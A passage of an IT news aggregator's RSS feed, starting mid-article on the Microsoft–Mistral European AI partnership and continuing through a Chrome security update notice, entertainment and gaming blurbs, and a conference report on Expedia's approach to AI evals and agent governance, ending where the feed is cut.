<p class="wp-block-paragraph">“It’s possible to be both a competitor and a partner at the same time,” noted technology analyst <a href="https://ca.linkedin.com/in/carmi" target="_blank" rel="noreferrer noopener">Carmi Levy</a>. Large cloud providers are becoming AI marketplaces in their own right, he pointed out, and are drifting away from exclusively promoting their own models. Building Mistral support into their infrastructure avoids platform lock-in and removes a “key objection for customers looking for options.”</p>



<p class="wp-block-paragraph">“As much as Microsoft would want everybody standardizing on Copilot and Phi, it recognizes the simple fact that customers increasingly want to choose their own models,” said Levy.</p>



<h2 class="wp-block-heading">Expands model access, sovereign cloud capabilities</h2>



<p class="wp-block-paragraph">As part of the agreement, Mistral will expand its Europe-based capacity with thousands of Nvidia Vera Rubin GPUs.</p>



<p class="wp-block-paragraph">Mistral CEO and co-founder <a href="https://www.computerworld.com/article/4134107/mistral-ceo-over-half-of-companies-software-can-be-replaced-by-ai.html" target="_blank">Arthur Mensch</a> described a “slight gap” in compute capacity in Europe, noting that this expansion will provide more compute capability and support Microsoft’s cloud and AI services, providing a “shared platform for training, inference and large-scale deployment.” The companies call it a critical step to allow Microsoft customers to benefit from Mistral’s “scientific and compute innovations.”</p>



<p class="wp-block-paragraph">In addition, Mistral Medium 3.5 and OCR 4 models are now available in Microsoft Foundry, and Mistral Medium 3.5 can be used in Microsoft Copilot Studio.</p>



<p class="wp-block-paragraph">The partnership also extends Microsoft’s sovereign cloud infrastructure as well as combining Mistral’s frontier models with Microsoft’s security, compliance, and cloud-to-edge platform. This gives enterprises, particularly those in regulated markets, the ability to deploy AI where they see fit, while maintaining control over their data and workloads, according to the companies.</p>



<p class="wp-block-paragraph">Further, customers will be able to build AI using the same models, tools, APIs, and workflows they’re used to, across Microsoft Foundry, Foundry Local, and <a href="https://www.infoworld.com/article/4108044/whats-next-for-azure-infrastructure.html" target="_blank">Azure Local</a>, and opt for fully Azure-hosted cloud environments; cloud-connected, controlled Azure Local environments that only use cloud-based Azure when necessary; and fully-disconnected environments that can operate independently for more sensitive scenarios.</p>



<p class="wp-block-paragraph">“Europe should have access to the world’s most capable AI without compromising control over their data, operations or digital future,” said <a href="https://www.linkedin.com/in/bradsmi" target="_blank" rel="noreferrer noopener">Brad Smith</a>, vice chair and president, Microsoft, noting that with this partnership, the company is honoring its <a href="https://blogs.microsoft.com/on-the-issues/2025/04/30/european-digital-commitments/" target="_blank" rel="noreferrer noopener">European digital commitments</a> and giving customers a foundation for AI so they can “operate on their own terms.” Customers with “heightened sovereignty needs” will be able to exercise more control with “resilience and assurance” and continued access to Mistral’s open-weight models.</p>



<h2 class="wp-block-heading">Enterprise credibility</h2>



<p class="wp-block-paragraph">Gartner distinguished VP analyst <a href="https://www.gartner.com/en/experts/arun-chandrasekaran" target="_blank" rel="noreferrer noopener">Arun Chandrasekaran</a> noted that there’s no doubt that this agreement strengthens Microsoft’s sovereignty messaging and its position in regulated industries, and the tech giant benefits by expanding its AI portfolio with a “credible European frontier model provider”</p>



<p class="wp-block-paragraph">He pointed to key differences from the initial partnership struck by the two companies in 2024; whereas originally Microsoft was hosting Mistral’s models, it is now consuming capacity built by Mistral in Europe.</p>



<p class="wp-block-paragraph">Ultimately, the deal emphasizes European data centers, customer-controlled deployments, Azure Local, and fully-disconnected environments, addressing many of the concerns that surrounded the original Azure cloud only relationship, Chandrasekaran explained.</p>



<p class="wp-block-paragraph">For Mistral, the partnership provides “enterprise credibility, and repeatable infrastructure revenue” that can fund continued <a href="https://www.cio.com/article/4198030/7-issues-impacting-ai-strategies-and-how-cios-should-respond.html" target="_blank">AI platform development</a>, he said. The combination of Microsoft’s enterprise AI platform with Mistral’s models and European AI infrastructure will give joint customers more deployment flexibility and expand options around data residency, sovereign AI deployments, and disconnected/on-premises environments.</p>



<p class="wp-block-paragraph">“It also gives customers more model choice, reducing dependence on a single AI provider,” said Chandrasekaran.</p>



<h2 class="wp-block-heading">A complementary partnership</h2>



<p class="wp-block-paragraph">Mistral continues to innovate with its frontier AI models and its chat and coding agent, Vibe (formerly Le Chat), yet it doesn’t attract as much attention as Claude or ChatGPT.</p>



<p class="wp-block-paragraph">One of the company’s key differentiators is its targeted business model. Levy pointed out that not every workload requires “full-flight GPT.” For customers trying to rein in costs and limit exposure with on-premises deployments, Mistral’s “more focused capabilities can represent a cost-effective alternative.”</p>



<p class="wp-block-paragraph">Chandrasekaran pointed to Mistral’s combination of high-performance open-weight models, strong multilingual capabilities, and a “focus on efficient inference that lowers deployment costs.”</p>



<p class="wp-block-paragraph">Unlike many frontier AI companies, it offers customers greater flexibility to self-host and customize models; this makes it particularly attractive for enterprises and governments with sovereignty or regulatory requirements, he said. Its European roots also position it as the leading alternative for organizations seeking cutting-edge AI outside the US and Chinese ecosystems.</p>



<p class="wp-block-paragraph"><a href="https://www.infotech.com/profiles/bill-wong" target="_blank" rel="noreferrer noopener">Bill Wong</a>, research fellow at Info-Tech Research Group, also pointed to Mistral’s high-quality models and “adeptness as a sovereign AI leader.” There is growing demand for AI companies that comply with regional laws and data residency, and Mistral is established as “one of the most prominent European players.”</p>



<p class="wp-block-paragraph">“Such a strategic position makes it a great partner for Microsoft to further expand its AI offerings beyond just being a single-model provider,” he said. Customers get freedom of choice while complying with data sovereignty and regulatory limitations without having to execute a separate AI deployment, while Mistral, for its part, can go beyond Europe and gain more visibility with international businesses.</p>



<p class="wp-block-paragraph">Mistral brings both “technological and political advantages,” Levy noted. The startup’s European roots give Microsoft more credibility “at a fraught time for geopolitical relationships.” Customers in Europe and beyond are concerned about US exposure, and Mistral can provide a safer choice.</p>



<p class="wp-block-paragraph">Meanwhile, Microsoft can deploy European-developed AI models running on European infrastructure, thus maximizing regulatory compliance while offering next-level enterprise marketing scale that Mistral “simply couldn’t achieve on its own,” said Levy. Mistral-based workloads deployed on Azure will also benefit from Microsoft’s “comprehensive security certifications, governance frameworks, and monitoring.”</p>



<p class="wp-block-paragraph">Bottom line: Both companies can maximize their unique roadmaps through the partnership, he said. “As the rules of the AI economy continue to evolve, expect more eyebrow-raising deals like this to be signed.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Stable Channel Update for Desktop]]></title>
<description><![CDATA[The Stable channel has been updated to 150.0.7871.181/.182 for Windows and Mac and 150.0.7871.181 for Linux, which will roll out over the coming days/weeks. A full list of changes in this build is available in the LogSecurity Fixes and RewardsNote: Access to bug details and links may be kept rest...]]></description>
<link>https://tsecurity.de/de/3685018/it-security-nachrichten/stable-channel-update-for-desktop/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685018/it-security-nachrichten/stable-channel-update-for-desktop/</guid>
<pubDate>Wed, 22 Jul 2026 01:39:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span face="Roboto, sans-serif"><span color="rgba(0, 0, 0, 0.87)">The Stable channel has been updated to 150.0.7871.181/.182 for Windows and</span><span color="rgba(0, 0, 0, 0.87)"> </span><span color="rgba(0, 0, 0, 0.87)">Mac and </span></span><span color="rgba(0, 0, 0, 0.87)"><span>150.0.7871.181 for Linux, which will roll out over the coming days/weeks. A full list of changes in this build is available in the </span><a href="https://chromium.googlesource.com/chromium/src/+log/150.0.7871.129..150.0.7871.182?pretty=fuller&amp;n=10000">Log</a></span></p><div><span face="Arial,sans-serif"><br><p dir="ltr"><span>Security Fixes and Rewards</span></p><p dir="ltr"><span>Note: Access to bug details and links may be kept restricted until a majority of users are updated with a fix. We will also retain restrictions if the bug exists in a third party library that other projects similarly depend on, but haven’t yet fixed.</span></p><br><p dir="ltr"><span>This update includes </span><a href="https://issues.chromium.org/issues?q=customfield1223088:4-M150"><span>12</span></a><span> security fixes. Below, we highlight fixes that were contributed by external researchers. Please see the </span><a href="https://www.chromium.org/Home/chromium-security"><span>Chrome Security Page</span></a><span> for more information.</span></p><br><p dir="ltr"><span>[$500][</span><a href="https://issues.chromium.org/issues/527930356"><span>527930356</span></a><span>]</span><span> High </span><span>CVE-2026-16420: Type Confusion in WebAudio. </span><span>Reported by Found by XBOW and triaged by Brendan Dolan-Gavitt on 2026-06-26</span></p><p dir="ltr"><span>[$500][</span><a href="https://issues.chromium.org/issues/528276487"><span>528276487</span></a><span>]</span><span> High </span><span>CVE-2026-16421: Inappropriate implementation in WebAudio. </span><span>Reported by Found by XBOW and triaged by Brendan Dolan-Gavitt on 2026-06-26</span></p><p dir="ltr"><span>[N/A][</span><a href="https://issues.chromium.org/issues/517359779"><span>517359779</span></a><span>]</span><span> High </span><span>CVE-2026-16413: Out of bounds write in ANGLE. </span><span>Reported by Google on 2026-05-28</span></p><p dir="ltr"><span>[N/A][</span><a href="https://issues.chromium.org/issues/517651910"><span>517651910</span></a><span>]</span><span> High </span><span>CVE-2026-16414: Insufficient validation of untrusted input in Chromecast. </span><span>Reported by Google on 2026-05-28</span></p><p dir="ltr"><span>[N/A][</span><a href="https://issues.chromium.org/issues/519244446"><span>519244446</span></a><span>]</span><span> High </span><span>CVE-2026-16415: Insufficient validation of untrusted input in Extensions. </span><span>Reported by Google on 2026-06-02</span></p><p dir="ltr"><span>[N/A][</span><a href="https://issues.chromium.org/issues/520172356"><span>520172356</span></a><span>]</span><span> High </span><span>CVE-2026-16416: Integer overflow in Chromecast. </span><span>Reported by Google on 2026-06-05</span></p><p dir="ltr"><span>[N/A][</span><a href="https://issues.chromium.org/issues/521491024"><span>521491024</span></a><span>]</span><span> High </span><span>CVE-2026-16417: Uninitialized Use in Skia. </span><span>Reported by Google on 2026-06-08</span></p><p dir="ltr"><span>[N/A][</span><a href="https://issues.chromium.org/issues/522125255"><span>522125255</span></a><span>]</span><span> High </span><span>CVE-2026-16418: Stack buffer overflow in V8. </span><span>Reported by Google on 2026-06-10</span></p><p dir="ltr"><span>[N/A][</span><a href="https://issues.chromium.org/issues/523435970"><span>523435970</span></a><span>]</span><span> High </span><span>CVE-2026-16419: Out of bounds read and write in ANGLE. </span><span>Reported by Google on 2026-06-13</span></p><p dir="ltr"><span>[N/A][</span><a href="https://issues.chromium.org/issues/533515002"><span>533515002</span></a><span>]</span><span> High </span><span>CVE-2026-16422: Insufficient validation of untrusted input in Certificate. </span><span>Reported by Google on 2026-07-10</span></p><p dir="ltr"><span>[N/A][</span><a href="https://issues.chromium.org/issues/534582496"><span>534582496</span></a><span>]</span><span> High </span><span>CVE-2026-16423: Use after free in UI. </span><span>Reported by Google on 2026-07-14</span></p><p dir="ltr"><span>[N/A][</span><a href="https://issues.chromium.org/issues/534858939"><span>534858939</span></a><span>]</span><span> High </span><span>CVE-2026-16424: Use after free in GPU. </span><span>Reported by Google on 2026-07-14</span></p><br><p dir="ltr"><span>We would also like to thank all security researchers that worked with us during the development cycle to prevent security bugs from ever reaching the stable channel.</span></p><br><p dir="ltr"><span>Many of our security bugs are detected using </span><a href="https://code.google.com/p/address-sanitizer/wiki/AddressSanitizer"><span>AddressSanitizer</span></a><span>, </span><a href="https://code.google.com/p/memory-sanitizer/wiki/MemorySanitizer"><span>MemorySanitizer</span></a><span>, </span><a href="https://www.chromium.org/developers/testing/undefinedbehaviorsanitizer"><span>UndefinedBehaviorSanitizer</span></a><span>, </span><a href="https://www.chromium.org/developers/testing/control-flow-integrity/"><span>Control Flow Integrity</span></a><span>, </span><a href="https://chromium.googlesource.com/chromium/src/+/HEAD/testing/libfuzzer/README.md"><span>libFuzzer</span></a><span>, or </span><a href="https://github.com/google/afl"><span>AFL</span></a><span>.</span></p><br></span></div><p><span><span>Interested in switching release channels? Find out how<span> </span></span><a href="https://www.chromium.org/getting-involved/dev-channel">here</a><span>. If you find a new issue, please let us know by<span> </span></span><a href="https://crbug.com/">filing a bug</a><span>. The<span> </span></span><a href="https://support.google.com/chrome/community">community help forum</a><span> is also a great place to reach out for help or learn about common issues.</span></span></p><p><span><br></span></p><p><span>Daniel Yip</span></p><p><span color="rgba(0, 0, 0, 0.87)"></span></p><p><span>Google Chrome</span></p><p><span><br></span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[5 gaming accessories I refuse to play without]]></title>
<description><![CDATA[After years of gaming on PC, these are the five accessories I keep coming back to for their comfort, performance, and reliability.]]></description>
<link>https://tsecurity.de/de/3684729/it-nachrichten/5-gaming-accessories-i-refuse-to-play-without/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684729/it-nachrichten/5-gaming-accessories-i-refuse-to-play-without/</guid>
<pubDate>Tue, 21 Jul 2026 21:33:23 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[After years of gaming on PC, these are the five accessories I keep coming back to for their comfort, performance, and reliability.]]></content:encoded>
</item>
<item>
<title><![CDATA[Substack adds an AI detector to help spot blogs written by no one]]></title>
<description><![CDATA[Substack will now help users determine whether what they're reading may have been written by AI. A new tool coming to the platform can scan posts, notes, replies, and comments to provide an estimate of how much text could be AI-generated, according to a blog post published on Tuesday. The tool is...]]></description>
<link>https://tsecurity.de/de/3684719/ai-nachrichten/substack-adds-an-ai-detector-to-help-spot-blogs-written-by-no-one/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684719/ai-nachrichten/substack-adds-an-ai-detector-to-help-spot-blogs-written-by-no-one/</guid>
<pubDate>Tue, 21 Jul 2026 21:24:13 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Substack will now help users determine whether what they're reading may have been written by AI. A new tool coming to the platform can scan posts, notes, replies, and comments to provide an estimate of how much text could be AI-generated, according to a blog post published on Tuesday. The tool is powered by an […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft and Meta are teaming up to offer Xbox Game Pass with the Quest VR Horizon+ subscription — Xbox VR controller improvements coming too]]></title>
<description><![CDATA[For all 6 Meta Quest owners reading Windows Central today, Microsoft and Xbox have a new offering for you.]]></description>
<link>https://tsecurity.de/de/3684613/windows-tipps/microsoft-and-meta-are-teaming-up-to-offer-xbox-game-pass-with-the-quest-vr-horizon-subscription-xbox-vr-controller-improvements-coming-too/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684613/windows-tipps/microsoft-and-meta-are-teaming-up-to-offer-xbox-game-pass-with-the-quest-vr-horizon-subscription-xbox-vr-controller-improvements-coming-too/</guid>
<pubDate>Tue, 21 Jul 2026 20:21:02 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[For all 6 Meta Quest owners reading Windows Central today, Microsoft and Xbox have a new offering for you.]]></content:encoded>
</item>
<item>
<title><![CDATA[Threads is getting new parental control features]]></title>
<description><![CDATA[Parental Supervision is coming to Meta's Threads.]]></description>
<link>https://tsecurity.de/de/3684605/it-nachrichten/threads-is-getting-new-parental-control-features/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684605/it-nachrichten/threads-is-getting-new-parental-control-features/</guid>
<pubDate>Tue, 21 Jul 2026 20:19:09 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Parental Supervision is coming to Meta's Threads.]]></content:encoded>
</item>
<item>
<title><![CDATA[Evals are the new PRD, Expedia’s AI chief tells VB Transform 2026]]></title>
<description><![CDATA[“The new PRD are the evals,” Xavi Amatriain, Expedia Group’s first chief AI and data officer, told the VB Transform 2026 audience last week in Menlo Park. “So basically, you encode what you want the product to do through your evals, which might include red teaming evals and all kinds of other thi...]]></description>
<link>https://tsecurity.de/de/3684604/it-nachrichten/evals-are-the-new-prd-expedias-ai-chief-tells-vb-transform-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684604/it-nachrichten/evals-are-the-new-prd-expedias-ai-chief-tells-vb-transform-2026/</guid>
<pubDate>Tue, 21 Jul 2026 20:19:07 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>“The new PRD are the evals,” Xavi Amatriain, <a href="https://www.expediagroup.com/en-us">Expedia Group’s</a> first chief AI and data officer, told the <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a> audience last week in Menlo Park. “So basically, you encode what you want the product to do through your evals, which might include red teaming evals and all kinds of other things, which already have a bunch of security requirements. So, you already embed that into the PRD and the product design document before you even start coding.”</p><p>He pushed it further. “With AI-assisted or AI-generated code, that’s gonna be the future. It’s like all your thinking is gonna go into the evals.”</p><p>Amatriain served as VP of AI and Compute Enablement at Google across the platforms powering Gemini and Google Search before his December 2025 appointment at Expedia. He's mentored talent who went on to found Perplexity and Scale AI. </p><p>VentureBeat’s <a href="https://venturebeat.com/orchestration/enterprise-ai-is-entering-an-evaluation-gap-agents-are-gaining-autonomy-faster-than-companies-can-verify-them">VB Pulse research on the evaluation gap</a> reinforced the stakes. Sixty-six percent of the 157 enterprises surveyed already permit some production deployment without human review or are building toward it within the next 12 months, yet only 5% fully trust the automated evaluations that would make that decision. Half have shipped an agent that passed internal evals but then failed with a real customer.</p><h2><b>Don’t let guardrails get in the way of feedback</b></h2><p>“The more guardrails and artificial business rules and sort of rules that you put into the system, the worse off,” Amatriain said. “Not only because they’re brittle, but also because they actually mess up with the feedback loop. You are actually biasing the user and the feedback you get from the user, and then you’re learning that in the wrong way.” He called guardrails “a necessary evil” and said the goal is to minimize their impact over time.</p><p>Not everyone at Transform agreed. Other speakers argued during the event that the highest-risk actions still demand very firm guardrails.</p><p>Expedia governs AI through three layers instead. Principles come first, communicated broadly. “I like to encode at a very high level how I expect decisions to be made, because in a large organization you’re gonna have a lot of distributed decision making,” Amatriain said. “And sometimes, if you’re lucky enough, those principles might be embedded in your culture. But most of the time, my experience has been they’re not.” The processes and tools that enforce them follow. “Principles look really nice on a picture on some wall, but you need to then give them teeth,” he said. Automation sits on top of both.</p><p>In practice, this plays out through what Expedia calls agent release toll gates, checkpoints calibrated to risk. “Governance needs to correlate to the risk,” Amatriain said. “And if you have something that is low risk, you don’t need too much governance to get in the way. But if there’s a lot of risk, then you need more governance. That can be encoded.” The toll gates tie evaluation rounds, red teaming, and security review to each agent’s risk level, and <a href="https://venturebeat.com/orchestration/what-billions-of-ai-predictions-taught-expedia-before-the-age-of-ai-agents">the checks shift from recommended to required as the stakes climb</a>. </p><h2>Specialized agents over monolithic intelligence</h2><p>“Even when I was at Google, I was like, I don’t believe in AGI as sort of like a singleton and a unified sort of like single model,” Amatriain told the audience. “I think it’s much better to think of it as composition, sort of like having specialized agents that are very good at some task and then composing the system out of those specialized agents.”</p><p>Expedia’s architecture starts at the component level. Tools compose into skills, skills assemble into sub-agents, and sub-agents get orchestrated into the full agentic system. “You need to have those principles that are unified that talk about things like what is the tone that we’re using, how are we addressing the user, how are we passing context, memory,” he said. “All of that needs to be thoroughly designed.” He framed this as a systemic design problem. “It’s not about the model, it’s not about a specific solution, it’s about how you’re designing the system.”</p><p>Amatriain argued that scoping each agent narrowly also makes the system easier to secure, since teams can evaluate and lock down individual agents in isolation before composing them.</p><h2>When the user must keep the final click</h2><p>Travel pricing changes in real time, flight availability shifts minute to minute, and hotel reviews routinely contradict what suppliers claim. Amatriain described a system that blends retrieval-augmented generation with direct API tool calls, choosing the approach based on latency. “If the user asks you a question like, how much does a four star hotel usually cost in Chicago in July, you don’t expect the agent to take two minutes to answer that question,” he said. “You expect an immediate answer because that answer can be cached and it doesn’t need real-time information.” A pet-friendly four-star near Lake Michigan with a pool might justify a 30-second reasoning window.</p><p>“The supplier might be saying, yeah, we have a great swimming pool, but then we also have the reviews from the travelers and we actually see there’s two reviews that say the swimming pool was not great or was not open after 6 p.m.,” Amatriain explained. A generic chatbot, he added, would only surface what a supplier self-reports, while Expedia cross-references against its own review corpus.</p><p>“We don’t want the agent to book the hotel or to buy you a plane ticket for you,” Amatriain said. “That’s something that the user has to have the agency. And the agent can recommend, can suggest, can discuss with you, but you’re gonna have to hit that click. And that’s non-negotiable.” That constraint, he argued, is also a security decision. “Once you establish those design principles, you also don’t need the guardrail because otherwise you’re gonna have to put all those guardrails in after the fact.”</p><h2>The next attackers will be other AI systems</h2><p>“Security needs to be a principle that is shifted as left as possible and as part of the design itself,” Amatriain said in response to an audience question. “And usually when you need a guardrail is because you’ve not thought about it early on.”</p><p>A second audience member pressed for lessons learned from production. Amatriain described a feedback loop where monitoring signals flow back into the eval suite. “You can almost automate the whole cycle,” he said. “But having that whole feedback loop from real signals, from your operating AI system, all the way into being reported and fixed as quickly as possible is going to become essential.”</p><p>Amatriain's toll gates are a bet that governance calibrated to risk can stay ahead of that feedback loop. VentureBeat’s separate June <a href="https://venturebeat.com/security/shared-api-keys-expose-ai-agent-fleets-venturebeat-research">Pulse survey on agent security</a>, drawn from 107 enterprises, shows how thin that margin is. More than half, 54 percent, have already had an agent security incident or near-miss. Fifty-nine percent plan to adopt, add, or replace agent security tooling within 12 months, and 29% plan to move this quarter. Incident rates climb with organization size, reaching 63% among enterprises with more than 1,000 employees versus 49% for companies with 101 to 1,000. And sandbox isolation, the one post-breach control that limits damage, drops from 35% adoption at the smaller companies to just 20 percent at the largest.</p><p>Amatriain warned that threats will increasingly come from other AI systems. “You’re gonna get threats coming not only from humans but also from other external agentic systems that are really powerful, and they’re gonna be poking at everything you’re doing. And as soon as you detect something, it’s not only about the detection, but the time to fix becomes essential here.”</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[‘SEAL Team’ Confirms Netflix Release Date, Multiple Seasons Arrive This August]]></title>
<description><![CDATA[SEAL Team is officially heading to Netflix in the United States, with multiple seasons scheduled to arrive on August 18, 2026. The release gives military drama fans a major new series to watch before summer ends.



How Many Seasons Are Coming to Netflix?



Netflix has confirmed that more than o...]]></description>
<link>https://tsecurity.de/de/3684521/ios-mac-os/seal-team-confirms-netflix-release-date-multiple-seasons-arrive-this-august/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684521/ios-mac-os/seal-team-confirms-netflix-release-date-multiple-seasons-arrive-this-august/</guid>
<pubDate>Tue, 21 Jul 2026 19:49:34 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[SEAL Team is officially heading to Netflix in the United States, with multiple seasons scheduled to arrive on August 18, 2026. The release gives military drama fans a major new series to watch before summer ends.



How Many Seasons Are Coming to Netflix?



Netflix has confirmed that more than one season will become available, although the exact number has not been announced. The show has seven completed seasons, so Netflix has a large collection of episodes to choose from.



More information could arrive when Netflix publishes its full August 2026 release schedule. For now, viewers can expect at least two seasons when the series joins the service.



The Netflix release forms part of a licensing agreement involving several Paramount-owned shows. It follows other licensed dramas that have recently expanded beyond their original streaming homes.



What Is ‘SEAL Team’ About?



SEAL Team follows Bravo Team, an elite unit of United States Navy SEALs that handles dangerous missions around the world. The story covers mission planning, combat operations, family pressures and the lasting effects of military service.



David Boreanaz leads the cast as Jason Hayes, the experienced leader of Bravo Team. The main cast also includes Max Thieriot, Neil Brown Jr., A.J. Buckley, Toni Trucks and Jessica Paré.



The series first premiered on CBS in September 2017. It remained on broadcast television for its first four seasons before moving to Paramount+ during Season 5.



That move allowed the series to feature more mature storytelling, stronger language and darker mission-related themes. It eventually ended with its seventh and final season in October 2024. The complete series includes 114 episodes.



Is This the Animated ‘Seal Team’ Movie?



The incoming title is the live-action military drama starring David Boreanaz. It is separate from Netflix’s animated 2021 movie Seal Team, which follows a group of seals fighting sharks.



Multiple seasons of SEAL Team will begin streaming on Netflix US on August 18, 2026, giving existing fans another place to revisit Bravo Team’s missions while introducing the finished series to a wider audience.]]></content:encoded>
</item>
<item>
<title><![CDATA[Return to Halo Almost 25 Years Later With Xbox Game Pass]]></title>
<description><![CDATA[Microsoft is adding seven games, including remastered versions of Halo and Hexen + Heretic, to Game Pass in the coming weeks, but it’s removing eight others.]]></description>
<link>https://tsecurity.de/de/3684473/it-nachrichten/return-to-halo-almost-25-years-later-with-xbox-game-pass/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684473/it-nachrichten/return-to-halo-almost-25-years-later-with-xbox-game-pass/</guid>
<pubDate>Tue, 21 Jul 2026 19:34:36 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Microsoft is adding seven games, including remastered versions of Halo and Hexen + Heretic, to Game Pass in the coming weeks, but it’s removing eight others.]]></content:encoded>
</item>
<item>
<title><![CDATA[This popular simulator game has thousands of positive Steam reviews — and it drops on consoles later this month]]></title>
<description><![CDATA[This viral waterpark simulator game is coming to consoles soon.]]></description>
<link>https://tsecurity.de/de/3684403/it-nachrichten/this-popular-simulator-game-has-thousands-of-positive-steam-reviews-and-it-drops-on-consoles-later-this-month/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684403/it-nachrichten/this-popular-simulator-game-has-thousands-of-positive-steam-reviews-and-it-drops-on-consoles-later-this-month/</guid>
<pubDate>Tue, 21 Jul 2026 18:47:56 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This viral waterpark simulator game is coming to consoles soon.]]></content:encoded>
</item>
<item>
<title><![CDATA[These special Surface PCs are reserved for true Manchester United fans]]></title>
<description><![CDATA[Microsoft Surface is coming to Manchester United kit, but the limited-edition PCs are what I care about.]]></description>
<link>https://tsecurity.de/de/3684390/windows-tipps/these-special-surface-pcs-are-reserved-for-true-manchester-united-fans/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684390/windows-tipps/these-special-surface-pcs-are-reserved-for-true-manchester-united-fans/</guid>
<pubDate>Tue, 21 Jul 2026 18:45:21 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Microsoft Surface is coming to Manchester United kit, but the limited-edition PCs are what I care about.]]></content:encoded>
</item>
<item>
<title><![CDATA[Netflix Reveals First Look at My Brilliant Career, Confirms August Premiere]]></title>
<description><![CDATA[Netflix has released the first trailer and new images from My Brilliant Career, confirming that the Australian period drama will premiere worldwide on August 13, 2026.



My Brilliant Career Brings an Australian Classic to Netflix




https://www.youtube.com/watch?v=WoPbcfUmMYw




The six-part s...]]></description>
<link>https://tsecurity.de/de/3684385/ios-mac-os/netflix-reveals-first-look-at-my-brilliant-career-confirms-august-premiere/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684385/ios-mac-os/netflix-reveals-first-look-at-my-brilliant-career-confirms-august-premiere/</guid>
<pubDate>Tue, 21 Jul 2026 18:42:13 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Netflix has released the first trailer and new images from My Brilliant Career, confirming that the Australian period drama will premiere worldwide on August 13, 2026.



My Brilliant Career Brings an Australian Classic to Netflix




https://www.youtube.com/watch?v=WoPbcfUmMYw




The six-part series adapts Miles Franklin’s influential 1901 novel of the same name. Philippa Northeast leads the cast as Sybylla Melvyn, an ambitious young woman living in rural Australia who dreams of becoming a successful writer.



Sybylla wants to build an independent and exciting life, although her family expects her to follow a more traditional path. Her plans become more complicated after she meets Harry Beecham, a wealthy neighbour who develops strong feelings for her.



Christopher Chung plays Harry, while Anna Chancellor appears as Sybylla’s grandmother, Mrs Bossier. The cast also includes Genevieve O’Reilly as Aunt Helen, Kate Mulvany as Gussie Beecham and Jake Dunn as Frank Hawden. Alexander England, Sherry-Lee Watson and Miah Madden also have supporting roles.



First Look Shows Sybylla’s Fight for Freedom



The first footage introduces Sybylla as outspoken, determined and unwilling to let marriage decide her future. She wants to write stories and experience a larger world, even when the people around her question her choices.



The images also highlight the series’ Australian countryside, grand family homes and detailed period costumes. Production took place across South Australia, including locations near Penola and Adelaide Studios. Around 400 local cast and crew members reportedly worked on the project.



Liz Doran developed and co-wrote the adaptation, with Alyssa McClelland and Anne Renton directing the episodes. The series presents Franklin’s coming-of-age story for a new audience while keeping its focus on ambition, romance and personal freedom.



The novel previously inspired the acclaimed 1979 film starring Judy Davis and Sam Neill. Netflix’s version expands the story across six episodes, giving more time to Sybylla’s family relationships, romantic struggles and determination to choose her own career.



My Brilliant Career premieres August 13, 2026, exclusively on Netflix.]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple and the changing of the guard]]></title>
<description><![CDATA[As Apple gears up to anoint John Ternus the new company CEO in September (while current leader Tim Cook takes a seat on the board) the company appears to be firing on all cylinders ahead of the leadership transition. 



What’s going well



Just look at the evidence: 




Apple is building marke...]]></description>
<link>https://tsecurity.de/de/3684366/it-nachrichten/apple-and-the-changing-of-the-guard/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684366/it-nachrichten/apple-and-the-changing-of-the-guard/</guid>
<pubDate>Tue, 21 Jul 2026 18:33:57 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">As Apple gears up to <a href="https://www.computerworld.com/article/4161377/with-john-ternus-as-ceo-expect-apples-platforms-to-proliferate.html">anoint John Ternus</a> the new company CEO in September (while current leader Tim Cook <a href="https://www.apple.com/uk/newsroom/2026/04/tim-cook-to-become-apple-executive-chairman-john-ternus-to-become-apple-ceo/" target="_blank" rel="noreferrer noopener">takes a seat on the board</a>) the company appears to be firing on all cylinders ahead of the leadership transition. </p>



<h2 class="wp-block-heading"><strong>What’s going well</strong></h2>



<p class="wp-block-paragraph">Just look at the evidence: </p>



<ul class="wp-block-list">
